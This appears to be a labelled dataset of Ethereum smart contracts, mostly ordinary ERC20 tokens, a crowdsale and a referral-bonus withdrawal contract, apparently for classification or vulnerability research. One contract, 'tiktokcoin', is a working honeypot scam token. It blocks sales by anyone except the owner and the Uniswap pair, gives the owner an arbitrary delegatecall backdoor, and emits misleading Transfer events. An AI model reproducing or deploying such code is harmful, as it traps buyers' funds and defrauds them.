(bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance( address spender, uint subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } contract IndividualLockableToken is ERC20Pausable, Ownable{ using SafeMath for uint256; event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time); event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time); struct lockState { uint256 locked_balance; uint256 release_time; } uint256 public lock_period = 24 weeks; mapping(address => lockState) internal userLock; function setReleaseTime(address _holder, uint256 _release_time) public onlyOwner returns (bool) { require(_holder != address(0)); require(_release_time >= block.timestamp); uint256 old_release_time = userLock[_holder].release_time; userLock[_holder].release_time = _release_time; emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time); return true; } function getReleaseTime(address _holder) public view returns (uint256) { require(_holder != address(0)); return userLock[_holder].release_time; } function clearReleaseTime(address _holder) public onlyOwner returns (bool) { require(_holder != address(0)); require(userLock[_holder].release_time > 0); uint256 old_release_time = userLock[_holder].release_time; userLock[_holder].release_time = 0; emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time); return true; } function increaseLockBalance(address _holder, uint256 _value) public onlyOwner returns (bool) { require(_holder != address(0)); require(_value > 0); require(balanceOf(_holder) >= _value); if (userLock[_holder].release_time == 0) { userLock[_holder].release_time = block.timestamp + lock_period; } userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value); emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time); return true; } function decreaseLockBalance(address _holder, uint256 _value) public onlyOwner returns (bool) { require(_holder != address(0)); require(_value > 0); require(userLock[_holder].locked_balance >= _value); userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value); emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time); return true; } function clearLock(address _holder) public onlyOwner returns (bool) { require(_holder != address(0)); require(userLock[_holder].release_time > 0); userLock[_holder].locked_balance = 0; userLock[_holder].release_time = 0; emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time); return true; } function getLockedBalance(address _holder) public view returns (uint256) { if(block.timestamp >= userLock[_holder].release_time) return uint256(0); return userLock[_holder].locked_balance; } function getFreeBalance(address _holder) public view returns (uint256) { if(block.timestamp >= userLock[_holder].release_time) return balanceOf(_holder); return balanceOf(_holder).sub(userLock[_holder].locked_balance); } function transfer( address _to, uint256 _value ) public returns (bool) { require(getFreeBalance(msg.sender) >= _value); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(getFreeBalance(_from) >= _value); return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public returns (bool) { require(getFreeBalance(msg.sender) >= _value); return super.approve(_spender, _value); } function increaseAllowance( address _spender, uint _addedValue ) public returns (bool success) { require(getFreeBalance(msg.sender) >= allowance(msg.sender, _spender).add(_addedValue)); return super.increaseAllowance(_spender, _addedValue); } function decreaseAllowance( address _spender, uint _subtractedValue ) public returns (bool success) { uint256 oldValue = allowance(msg.sender, _spender); if (_subtractedValue < oldValue) { require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue)); } return super.decreaseAllowance(_spender, _subtractedValue); } } contract WorldPay is IndividualLockableToken { using SafeMath for uint256; string public constant name = "WORLD Pay"; string public constant symbol = "WOPS"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 36523000000 * (10 ** uint256(decimals)); constructor() public { _mint(msg.sender, INITIAL_SUPPLY); } }
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4,097
pragma solidity ^0.4.23; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { require(b > 0); uint c = a / b; require(a == b * c + a % b); return c; } function sub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; uint256 public userSupplyed; function transferFrom(address _from, address _to, uint _value) public { balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); } function approve(address _spender, uint _value) public{ require((_value == 0) || (allowed[msg.sender][_spender] == 0)) ; allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract KOL is StandardToken { function queryNode(address _addr) public view returns(bool); function querySuperNode(address _addr) public view returns(bool); } contract KOLP is StandardToken { address public draw; bool public going; struct lock{ uint256 begin; uint256 amount; uint256 end; bool withDrawed; } struct teamRate{ uint8 rate; uint256 changeTime; } struct inviteBonus{ uint256 begin; uint256 dayBonus; uint256 hisTotalBonus; } struct withDraws{ uint256 time; uint256 amount; } struct dayTeamBonus{ uint256 theDayLastSecond; uint256 theDayTeamBonus; uint256 totalTeamBonus; uint8 theDayRate; } struct dayInviteBonus{ uint256 theDayLastSecond; uint256 theDayInviteBonus; uint256 totalInviteBonus; } mapping (address => dayTeamBonus[]) public LockTeamBonus; mapping (address => dayInviteBonus[]) public LockInviteBonus; mapping (address => address[]) public InviteList; mapping (address => address[]) public ChildAddrs; mapping (address => lock[]) public LockHistory; mapping (address => uint256) public LockBalance; mapping (address => uint256) public InviteHistoryBonus; mapping (address => uint256) public InviteCurrentDayBonus; mapping (uint256 => uint256) public ClosePrice; mapping (address => uint256) public TotalUsers; mapping (address => uint256) public TotalLockingAmount; mapping (uint256 => address) public InviteCode; mapping (address => uint256) public RInviteCode; mapping (address => uint8) public isLevelN; mapping (uint8 => uint8) public levelRate; mapping (address => bool) public USDTOrCoin; modifier onlyContract { require(msg.sender == draw); _; } function qsLevel(address _addr) onlyContract public ; function queryLockBalance(address _addr,uint256 _queryTime) public view returns(uint256); function getYestodayLastSecond(uint256 _queryTime) public view returns(uint256); function clearLock(address _addr) onlyContract public ; function pushInvite(address _addr, uint256 _theDayLastSecond, uint256 _theDayInviteBonus, uint256 _totalInviteBonus) onlyContract public ; function setLastInvite(address _addr, uint256 _theDayInviteBonus, uint256 _totalInviteBonus) onlyContract public ; function pushTeam(address _addr, uint256 _theDayLastSecond, uint256 _theDayTeamBonus, uint256 _totalTeamBonus, uint8 _theDayRate) onlyContract public ; function setLastTeam(address _addr, uint256 _theDayTeamBonus, uint256 _totalTeamBonus, uint8 _theDayRate) onlyContract public ; function subTotalUsers(address _addr) onlyContract public ; function subTotalLockingAmount(address _addr,uint256 _amount) onlyContract public ; function subTotalBalance(uint256 _amount) onlyContract public ; function setInviteTeam(address _addr) onlyContract public ; function getLockLen(address _addr) public view returns(uint256); function getFathersLength(address _addr) public view returns(uint256); function getLockTeamBonusLen(address _addr) public view returns(uint256); function getLockInviteBonusLen(address _addr) public view returns(uint256); } contract Ownable { address public owner; constructor() public{ owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public{ if (newOwner != address(0)) { owner = newOwner; } } } contract KOLWithDraw is Ownable{ using SafeMath for uint256; string public name = "KOL Withdraw"; KOL public kol; KOLP public kolp; uint256 public every = 1 days; uint256 public minBonus = 30 * (10 ** 18); uint256 public leftBonus = 0; address public reciever; uint256 public etherFee = 0.005 ether; uint8 public fee = 5; struct dayTeamBonus{ uint256 theDayLastSecond; uint256 theDayTeamBonus; uint256 totalTeamBonus; uint8 theDayRate; } struct dayInviteBonus{ uint256 theDayLastSecond; uint256 theDayInviteBonus; uint256 totalInviteBonus; } mapping (address => uint256) public TotalWithDraws; mapping (address => uint256) public DrawTime; event WithDrawed(address _user,uint256 _amount); constructor(address _kolAddress,address _kolpAddress,address _reciever) public { kol = KOL(_kolAddress); kolp = KOLP(_kolpAddress); reciever = _reciever; } function querySelfBonus(address _addr) public view returns(uint256){ uint256 len = kolp.getLockLen(_addr); uint256 selfBonus; if(len >0){ uint256 begin; uint256 end; uint256 amount; bool withDrawed; for (uint i=0; i<len; i++){ (begin,amount,end,withDrawed) = kolp.LockHistory(_addr,i); if (!withDrawed){ if (DrawTime[_addr] > begin) begin = DrawTime[_addr]; uint256 lastingDays = (kolp.getYestodayLastSecond(now) - kolp.getYestodayLastSecond(begin)) / every; if (kolp.USDTOrCoin(_addr)){ begin = kolp.getYestodayLastSecond(begin) + every; for (uint j=0;j<lastingDays;j++){ uint256 theTime = begin + j*every; selfBonus += amount * 3 / 1000 * kolp.ClosePrice(begin) / kolp.ClosePrice(theTime); } }else{ selfBonus += lastingDays * amount * 3 / 1000; } } } } return (selfBonus); } function queryInviteBonus(address _addr) public view returns(uint256){ uint256 last = kolp.getLockInviteBonusLen(_addr); if(last>0){ uint256 yestodayLastSecond = kolp.getYestodayLastSecond(now); uint256 lastingDays; uint256 newDayInviteTotalBonus; dayInviteBonus memory theDayIB = dayInviteBonus(0,0,0); while(last>=1){ (theDayIB.theDayLastSecond,theDayIB.theDayInviteBonus,theDayIB.totalInviteBonus) = kolp.LockInviteBonus(_addr,last-1); last--; if (theDayIB.theDayLastSecond <= yestodayLastSecond){ lastingDays = (yestodayLastSecond - theDayIB.theDayLastSecond) / every; newDayInviteTotalBonus = (lastingDays * theDayIB.theDayInviteBonus) + theDayIB.totalInviteBonus; return (newDayInviteTotalBonus); } } return 0; }else return 0; } function queryTeamBonus(address _addr) public view returns(uint256){ uint256 last = kolp.getLockTeamBonusLen(_addr); if(last>0){ uint256 yestodayLastSecond = kolp.getYestodayLastSecond(now); uint256 lastingDays; uint256 newDayTeamTotalBonus; dayTeamBonus memory theDayTB =dayTeamBonus(0,0,0,0); while(last>=1){ (theDayTB.theDayLastSecond,theDayTB.theDayTeamBonus,theDayTB.totalTeamBonus,theDayTB.theDayRate) = kolp.LockTeamBonus(_addr,last-1); last--; if (theDayTB.theDayLastSecond <= yestodayLastSecond){ lastingDays = (yestodayLastSecond - theDayTB.theDayLastSecond) / every; newDayTeamTotalBonus = (lastingDays * theDayTB.theDayTeamBonus * theDayTB.theDayRate / 100 ) + theDayTB.totalTeamBonus; return (newDayTeamTotalBonus); } } return 0; }else return 0; } function afterWithdraw(address _addr,uint256 _amount) private { address father; uint256 fathersLen = kolp.getFathersLength(_addr); for (uint i = 0; i<fathersLen; i++){ father = kolp.InviteList(_addr,i); kolp.subTotalUsers(father); kolp.subTotalLockingAmount(father,_amount); kolp.qsLevel(father); kolp.setInviteTeam(_addr); } } function withdraw(bool _onlyBonus) payable public{ require(msg.value >= etherFee); uint256 bonus = querySelfBonus(msg.sender); DrawTime[msg.sender] = now; uint256 last = kolp.getLockInviteBonusLen(msg.sender); uint256 yestodayLastSecond = kolp.getYestodayLastSecond(now); uint256 lastingDays; if(last>0){ dayInviteBonus memory theDayIB = dayInviteBonus(0,0,0); uint256 realLast = last; while(realLast>=1){ (theDayIB.theDayLastSecond,theDayIB.theDayInviteBonus,theDayIB.totalInviteBonus) = kolp.LockInviteBonus(msg.sender,realLast-1); realLast--; if (theDayIB.theDayLastSecond <= yestodayLastSecond){ lastingDays = (yestodayLastSecond - theDayIB.theDayLastSecond) / every; bonus += (lastingDays * theDayIB.theDayInviteBonus) + theDayIB.totalInviteBonus; if(theDayIB.theDayLastSecond < yestodayLastSecond){ kolp.pushInvite(msg.sender,yestodayLastSecond,theDayIB.theDayInviteBonus,0); }else if(theDayIB.theDayLastSecond == yestodayLastSecond){ kolp.setLastInvite(msg.sender,theDayIB.theDayInviteBonus,0); } } } } last = kolp.getLockTeamBonusLen(msg.sender); if(last>0){ dayTeamBonus memory theDayTB =dayTeamBonus(0,0,0,0); while(last>=1){ (theDayTB.theDayLastSecond,theDayTB.theDayTeamBonus,theDayTB.totalTeamBonus,theDayTB.theDayRate) = kolp.LockTeamBonus(msg.sender,last-1); last--; if (theDayTB.theDayLastSecond <= yestodayLastSecond){ lastingDays = (yestodayLastSecond - theDayTB.theDayLastSecond) / every; bonus += (lastingDays * theDayTB.theDayTeamBonus * theDayTB.theDayRate / 100 ) + theDayTB.totalTeamBonus; if(theDayTB.theDayLastSecond < yestodayLastSecond){ kolp.pushTeam(msg.sender,yestodayLastSecond,theDayTB.theDayTeamBonus,0,theDayTB.theDayRate); }else if(theDayTB.theDayLastSecond == yestodayLastSecond){ kolp.setLastTeam(msg.sender,theDayTB.theDayTeamBonus,0,theDayTB.theDayRate); } } } } uint256 realBonus = bonus; if (leftBonus == 0){ _onlyBonus = false; realBonus =0; }else if(bonus >= leftBonus){ realBonus = leftBonus; } uint256 subLeft = realBonus; uint256 tax = realBonus*fee/100; realBonus = realBonus.sub(tax); if (!_onlyBonus){ uint256 balance = kolp.LockBalance(msg.sender); if (bonus < minBonus){ realBonus = balance; tax = 0; subLeft = 0; }else{ realBonus += balance; } kolp.subTotalBalance(balance); kolp.clearLock(msg.sender); afterWithdraw(msg.sender,balance); }else{ require(bonus >= minBonus); } if (realBonus > 0) { kol.transfer(msg.sender,realBonus); TotalWithDraws[msg.sender] += realBonus; emit WithDrawed(msg.sender,realBonus); } if (tax > 0) kol.transfer(reciever,tax); leftBonus = leftBonus.sub(subLeft); } function calcuAllBonus(bool _onlyBonus) public view returns(uint256){ uint256 bonus = querySelfBonus(msg.sender); bonus += queryInviteBonus(msg.sender); bonus += queryTeamBonus(msg.sender); if (leftBonus == 0){ bonus =0; }else if(bonus >= leftBonus){ bonus = leftBonus; } bonus = bonus * (100-fee) /100; if (!_onlyBonus){ uint256 balance = kolp.LockBalance(msg.sender); bonus += balance; } return bonus; } function addBonus(uint256 _amount) onlyOwner public{ leftBonus = leftBonus.add(_amount); } function setFee(uint8 _fee) onlyOwner public{ fee = _fee; } function setKOLP(address _paddr) onlyOwner public{ kolp = KOLP(_paddr); } function draw() onlyOwner public{ reciever.send(address(this).balance); } function setetherFee(uint256 _fee) onlyOwner public{ etherFee = _fee; } function setReciever(address _reciever) onlyOwner public{ reciever = _reciever; } }
0
2,160
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract tiktokcoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
698
pragma solidity ^0.4.16; contract CrowdsaleRC { uint public createdTimestamp; uint public start; uint public deadline; address public owner; address public beneficiary; uint public amountRaised; uint public maxAmount; mapping(address => uint256) public balanceOf; mapping (address => bool) public whitelist; event FundTransfer(address backer, uint amount, bool isContribution); function CrowdsaleRC () public { createdTimestamp = block.timestamp; start = 1529316000; deadline = 1532080800; amountRaised = 0; beneficiary = 0xD27eAD21C9564f122c8f84cD98a505efDf547665; owner = msg.sender; maxAmount = 2000 ether; } function () payable public { require( (msg.value >= 0.1 ether) && block.timestamp >= start && block.timestamp <= deadline && amountRaised < maxAmount && ( (msg.value <= 100 ether) || (msg.value > 100 ether && whitelist[msg.sender]==true) ) ); uint amount = msg.value; balanceOf[msg.sender] += amount; amountRaised += amount; FundTransfer(msg.sender, amount, true); if (beneficiary.send(amount)) { FundTransfer(beneficiary, amount, false); } } function whitelistAddress (address uaddress) public { require (owner == msg.sender || beneficiary == msg.sender); whitelist[uaddress] = true; } function removeAddressFromWhitelist (address uaddress) public { require (owner == msg.sender || beneficiary == msg.sender); whitelist[uaddress] = false; } }
1
5,503
pragma solidity ^0.4.13; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Peculium is BurnableToken,Ownable { PeculiumOld public peculOld; address public peculOldAdress = 0x53148Bb4551707edF51a1e8d7A93698d18931225; using SafeMath for uint256; using SafeERC20 for ERC20Basic; string public name = "Peculium"; string public symbol = "PCL"; uint256 public decimals = 8; uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8; mapping(address => bool) public balancesCannotSell; event ChangedTokens(address changedTarget,uint256 amountToChanged); event FrozenFunds(address address_target, bool bool_canSell); function Peculium() public { totalSupply = MAX_SUPPLY_NBTOKEN; balances[address(this)] = totalSupply; peculOld = PeculiumOld(peculOldAdress); } function transfer(address _to, uint256 _value) public returns (bool) { require(balancesCannotSell[msg.sender]==false); return BasicToken.transfer(_to,_value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(balancesCannotSell[msg.sender]==false); return StandardToken.transferFrom(_from,_to,_value); } function ChangeLicense(address target, bool canSell) public onlyOwner { balancesCannotSell[target] = canSell; FrozenFunds(target, canSell); } function UpgradeTokens() public { require(peculOld.totalSupply()>0); uint256 amountChanged = peculOld.allowance(msg.sender,address(this)); require(amountChanged>0); peculOld.transferFrom(msg.sender,address(this),amountChanged); peculOld.burn(amountChanged); balances[address(this)] = balances[address(this)].sub(amountChanged); balances[msg.sender] = balances[msg.sender].add(amountChanged); Transfer(address(this), msg.sender, amountChanged); ChangedTokens(msg.sender,amountChanged); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } function getBlockTimestamp() public constant returns (uint256) { return now; } function getOwnerInfos() public constant returns (address ownerAddr, uint256 ownerBalance) { ownerAddr = owner; ownerBalance = balanceOf(ownerAddr); } } contract PeculiumOld is BurnableToken,Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; string public name = "Peculium"; string public symbol = "PCL"; uint256 public decimals = 8; uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8; uint256 public dateStartContract; mapping(address => bool) public balancesCanSell; uint256 public dateDefrost; event FrozenFunds(address target, bool frozen); event Defroze(address msgAdd, bool freeze); function PeculiumOld() { totalSupply = MAX_SUPPLY_NBTOKEN; balances[owner] = totalSupply; balancesCanSell[owner] = true; dateStartContract=now; dateDefrost = dateStartContract + 85 days; } function defrostToken() public { require(now>dateDefrost); balancesCanSell[msg.sender]=true; Defroze(msg.sender,true); } function transfer(address _to, uint256 _value) public returns (bool) { require(balancesCanSell[msg.sender]); return BasicToken.transfer(_to,_value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(balancesCanSell[msg.sender]); return StandardToken.transferFrom(_from,_to,_value); } function freezeAccount(address target, bool canSell) onlyOwner { balancesCanSell[target] = canSell; FrozenFunds(target, canSell); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } function getBlockTimestamp() constant returns (uint256) { return now; } function getOwnerInfos() constant returns (address ownerAddr, uint256 ownerBalance) { ownerAddr = owner; ownerBalance = balanceOf(ownerAddr); } }
1
2,999
